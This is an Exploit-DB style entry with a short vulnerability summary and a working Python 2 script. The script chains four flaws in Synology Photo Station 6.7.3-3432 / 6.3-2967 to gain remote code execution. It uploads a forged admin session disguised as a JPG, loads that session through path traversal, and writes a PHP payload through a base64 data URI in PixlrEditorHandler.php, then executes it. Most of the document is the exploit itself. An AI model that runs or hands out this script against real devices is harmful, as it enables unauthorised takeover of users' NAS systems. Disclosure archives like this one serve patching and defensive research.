Exploit Synology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution

[Exploiter]

EDB-ID

42434

Проверка EDB

1. Пройдено

Автор

KACPER SZUREK

Тип уязвимости

WEBAPPS

Платформа

HARDWARE

CVE

cve-2017-11155 cve-2017-11154 cve-2017-11153 cve-2017-11152 cve-2017-11151

Дата публикации

2017-08-08

Synology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution

'''
Source: https://blogs.securiteam.com/index.php/archives/3356

Vulnerability details
The remote code execution is a combination of 4 different vulnerabilities:

Upload arbitrary files to the specified directories
Log in with a fake authentication mechanism
Log in to Photo Station with any identity
Execute arbitrary code by authenticated user with administrator privileges
The chain of vulnerabilities will allow you, in the end, to execute code as:

uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)
'''
import requests

# What server you want to attack
synology_ip = 'http://192.168.1.100'

# Your current IP
ip = '192.168.1.200'

# PHP code you want to execute
php_to_execute = '<?php echo system("id"); ?>'

encoded_session = 'root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}'

print "[+] Set fake admin sesssion"
file = [('file', ('foo.jpg', encoded_session))]

r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'}, files=file)
print r.text

print "[+] Login as fake admin"

# Depends on version it might be stored in different dirs
payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'}
# payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'}

try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload)

whichact = {'action' : 'get_setting'}
r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact, cookies=try_login.cookies)
print r.text

print "[+] Upload php file"

c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'}
r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies)
print r.text


print "[+] Execute payload"
f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip))

print f.text